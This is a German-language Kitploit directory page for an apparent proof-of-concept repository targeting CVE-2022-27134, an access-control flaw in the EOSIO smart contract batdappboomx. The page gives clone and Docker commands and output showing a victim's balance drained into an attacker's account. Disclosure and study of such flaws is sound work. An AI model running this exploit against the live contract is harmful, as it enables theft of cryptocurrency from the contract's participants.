Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-batdappboomx — CVE-2022-27134 | Kitploit
Tools/GitHubGitHub/kenun99/cve-batdappboomx
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubkenun99/cve-batdappboomx

CVE-batdappboomx

CVE-2022-27134

Repository anzeigen
7vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE ID

CVE-2022-27134

PRODUKT

batdappboomx ist ein öffentlicher Smart Contract, der auf der EOSIO-Blockchain läuft. Dieser Smart Contract belohnt seine Teilnehmer mit Kryptowährung, wenn sie zuvor eine Kryptowährung bezahlen.

Version

Die neueste Version dieses Smart Contracts. Der sha256-Hashcode des Smart Contracts lautet 1327c04cf4b56183eddb1a897bbebf5a873d3421272b708829a4ed0765bef820 Überprüfe es im Blockchain-Explorer https://bloks.io/account/batdappboomx.

PROBLEMTYP

Zugriffskontroll-Schwachstelle

BESCHREIBUNG

batdappboomx ist nicht quelloffen, aber wir haben mit WASAI eine Schwachstelle gefunden. Angreifer können an diesem Spiel teilnehmen, ohne etwas zu zahlen.

  1. Aktiviere die Umgebung
git clone https://github.com/Kenun99/CVE-batdappboomx.git && cd CVE-batdappboomx
docker build -t localhost/client-eos:eos .
docker run --rm  --network host -it localhost/client-eos:eos
  1. Greife das Opfer an und stiehl seine Kryptowährung, d. h. EOS
info  2022-03-11T14:28:53.345 keosd     wallet_plugin.cpp:38          plugin_initialize    ]
...
warn  2022-03-11T14:28:53.355 keosd     wallet.cpp:218                save_wallet_file     ] saving wallet to file /root/eosio-wallet/./default.wallet
Creating wallet: default
Save password to use in the future to unlock this wallet.
Without password imported keys will not be retrievable.
saving password to /root/passwd
imported private key for: EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV
[+] victim's balance: 100.00 -> 0.00
[+] attacker's balance: 10000000.00 10000100.00

[+] Attacked successfully. Got more cryptocurrency.
Tool herunterladen